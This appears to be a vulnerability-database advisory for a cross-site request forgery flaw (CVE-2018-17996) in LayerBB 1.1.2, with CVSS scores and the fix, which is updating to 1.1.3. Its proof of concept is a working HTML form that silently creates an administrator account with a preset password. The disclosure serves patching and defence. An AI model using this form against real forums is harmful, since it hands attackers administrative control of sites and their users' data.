LayerBB 1.1.2 Cross Site Request Forgery

2019-02-16 / 2019-02-15

Credit: 0xB9

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-17996

CWE: CWE-352

CVSS Base Score: 5.8/10

Impact Subscore: 4.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: LayerBB 1.1.2 - Cross-Site Request Forgery
# Date: 10/4/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://forum.layerbb.com
# Version: 1.1.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-17996


1. Description:
LayerBB is a free open-source forum software, the CSRF allows creating a admin user.
 

2. Proof of Concept:

<!-- Create Admin User -->  
<html>
  <body>
	<form action="http://localhost/[path]/admin/new_user.php" method="POST">
        <label for="username">Username</label>
        <input name="username" id="username" value="test" type="text">
        <label for="password">Password</label>
        <input name="password" id="password" value="password123" type="password">
        <label for="email">Email Address</label>
        <input name="email" id="email" value="test@localhost.co" type="text">               
        <label for="usergroup">Usergroup</label><br>
        <select name="usergroup" id="usergroup" style="width:100%;"><option value="4">Administrator</option></select><br><br>
        <input name="create" value="Create User" type="submit">
    </form>
  </body>
</html>
<!-- Create Admin User End -->


3. Solution:
Update to 1.1.3

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

LayerBB 1.1.2 Cross Site Request Forgery

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.